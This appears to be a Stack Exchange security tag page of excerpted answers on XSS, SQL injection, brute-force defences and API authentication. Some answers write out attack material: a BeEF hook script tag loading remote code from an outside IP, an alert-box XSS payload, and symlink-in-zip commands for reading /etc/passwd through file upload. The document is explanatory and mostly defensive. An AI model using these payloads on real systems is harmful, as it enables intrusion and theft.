Tag Info

Hot answers tagged

29

The ISP (here, the WiFi hotspot) is what delivers pages to you. It's of course trivial for an ISP to read unsecured traffic: Let's now consider a case where the credential submission is secured with HTTPS (so the ISP cannot sniff them right off the wire), but the HTTPS log-in page loads an unsecured script, helper.js. The ISP can inject any behavior into ...


24

In a cross-site scripting attack, the malicious script is run on the client, but the actual flaw is in the application. That doesn't necessarily mean that it is a strictly server-side vulnerability, in that the flaw could be in the application's JavaScript, but generally, it is indeed in server-side code, and always in code that is delivered by the server. ...


15

A relatively user-friendly way of mitigating brute-force attacks is delaying the minimum time between attempts. The first time your user enters wrong credentials, you let him wait 1 second before he can try again. The second time, you let him wait 2 seconds. The 3rd time, you make him wait 4 seconds. 4th time, 8 seconds, and so on. You also base this on the ...


7

A more common term for this is "parameterized SQL". You are still taking user data, as you pointed out, but the security lies in the fact that the application knows what is data, and what is executable. When you build a SQL statement as a string and pass it in it's completed entirety to the database, the application simply has to trust that the SQL ...


6

It manifests itself on the client side, but that is because it is allowed to do so by the web application. The application doesn't validate the code that it sends back to the browser. And thats why it is a server side vulnerability. Think about it this way. What would you do to fix the issue of XSS? Fix the server side code or fix the browser?


6

I'm afraid not. You might be able to solve your problem with something called "two factor authentication" though. This is an option you can enable in Gmail where you will need to have your mobile phone with you whenever you log onto your mail. It is very easy to set up and highly recommended. If this won't fix your issue, edit your question to add some ...


5

To expand on Xander's answer - when you use a parameterized query the parameters are never inserted directly into the statement. Instead, the query itself along with all of the parameters are passed to a stored procedure called sp_executesql. When executed this way the parameters are treated as data rather than being parsed out as part of a SQL statement, ...


5

A good compromise between user experience and security would be to have IP-based captchas that trigger after a few failed logins from a particular IP, regardless of username. This approach isn't vulnerable to DoS attacks against a single user by bruteforcing his account until the backoff time reaches several hours/days and prevents the legitimate owner of ...


5

Perhaps one of the most interesting case studies of exactly this type of situation is www.blockchain.info, which employs client-side encryption and obviously has a lot at stake: the contents of millions of users' bitcoin wallets. Their initial approach was a browser extension that verified the website's source assets against a predefined list of hash sums: ...


4

Regarding why it has cross-site in the name, Jeremiah Grossman has a good article on that. Snipit below: What was soon discovered was that a malicious website could load another website into an adjacent frame or window, then use JavaScript to read into it. One website could cross a boundry and script into another page. Pull data from forms, ...


4

Symlinks are like shortcuts, so if you create a symlink pointing to /etc/passwd, when you open the symlink your O.S. will open /etc/passwd. How the attack works? 1) Create a symlink in your computer to /etc/passwd e.g.: ln -s /etc/passwd ./symlink.jpg 2) Create a zip with the symlink e.g.: zip —symlinks -r photos.zip ./symlink.jpg 3) Upload the ...


3

Cross-site Scripting (XSS) attacks can generally be categorized as one of: Stored XSS Attacks Reflected XSS Attacks DOM Based XSS Attacks The attack itself is taking place on the client. All three attack types could fully manifest themselves in the browser itself in the case of a single page or offline application. However, if the data is stored on the ...


2

I assume the login form on tmail.com will be send with https. Otherwise you can read the plain password with a packet inspector. Your browser loads a webpage from tmail.com. The wifi owner can add a JavaScript into this page. This script will log whatever you type into the login form of the mail provider and store it somewhere. Will URL still remain the ...


2

Whether a VPN is necessary in this scenario would largely depend on the nature of the traffic between the worker and the web server and whether you're worried about Man-In-The-Middle(MITM) attacks. A VPN could add two potential benefits to your security here. Firstly it should encrypt the data between the endpoints. This is obviously a security benefit if ...


2

From your question and comments it seems that the business leadership of your company have no interest in security. This is the fundamental thing you're going to have to fix before you do anything else. Implementing security controls is inevitably going to a) cost some money and b) cause some pain. Without support from your leadership, you won't get over ...


2

I would not use ESAPI-PHP. It's a port of the Java ESAPI framework, (which has had its own issues, but soldiers on, more or less, mostly less) but the PHP port has been dead for a considerable amount of time now. I wouldn't trust it as far as I could throw it. I can't speak authoritatively to the PHP Security Project, but at a glance, the PHP Security ...


2

This question invites subjective answers, but I would say that the payload: <script src=http://1.1.1.1:3000/hook.js></script> In conjunction with the BeEF exploit framework would be close to the most damage you could do because it provides a way to launch a number of other attacks. Obviously you would replace the IP address I provided with ...


1

Manual testing: Slow; Humans can forget some important tests; Complex, sophisticated and creative testing; Automated testing: Fast; Tests a lot (thousands) of vulnerabilities (never forget a test); "Cake Recipe" (will just test what it was designed to test); Based on the above points, we can say that each type of testing have its own positives and ...


1

An easy exploit is simply: <script>alert("Hacked!");</script> Similar alert boxes are often used as a demonstration of an XSS exploit because they are so easy to see and understand.


1

This is a pretty scary thing to be doing, as by definition, you are wanting to look at sensitive, user-submitted data on those computers. Sure, you might catch the occasional wrongdoer, but you're going to be capturing quite a lot of normal people's passwords, emails, etc. Which is probably opening a whole slew of liability to whoever owns the computer lab. ...


1

You have a lot of options and you should pick the best one based on your requirements. Authentication systems aimed at automated systems have different usability requirements than users. For example, users generally don't want to present their password with every request or handle long, complicated passwords. The code calling your API doesn't have those ...


1

I have used HTML Purifier before and have been pretty satisfied. http://htmlpurifier.org/ However, I have not performend extensive/advanced testing on it. The basic XSS attempts get caught, the website seems to show the maintainter has a knack for this thing so I assume it is not a bogus project. If anyone on here believes otherwise, please let me know.


1

You are safe to skip server-side validation for that form providing you truncate excessively large inputs, use parameterized queries, and html encode the data if you ever output it. The accepted answer states that you "should always implement server side validations to prevent attacks". For this particular form, what validations must be implemented that ...


1

A good way to start is to prevent connections to the API application from anything except valid client addresses, in your case, your angularjs server. Additional security would be gained by implementing a revocable shared API key between each angularjs instance and your API, so you can revoke permissions from compromised instances. Also, it's good to ...


1

You can detect the use of known bad dependencies with OWASP Dependency-Check I found this also looking for tools which attempt to exploit the known issues repetitively. It's looking like I may have to modify existing active vulnerability scanners.


1

I believe that this is not possible in a failsafe way, unfortunately. Let me explain why. You want your frontend app to have a way to identify itself to the API. In other words, you want authentication. But authentication requires the existence of some kind of unique, secret data that the frontend app can use to distinguish itself from other applications. ...


1

I think your example describes exactly why it isn't that simple. There are many forms of XSS, and quite a few of them don't rely on attackers injecting entire tags at all. What Rook was getting at in his comment is that you should generally rely on a good existing XSS filter to deal with the threat rather than trying to piece one together your own, as ...



Only top voted, non community-wiki answers of a minimum length are eligible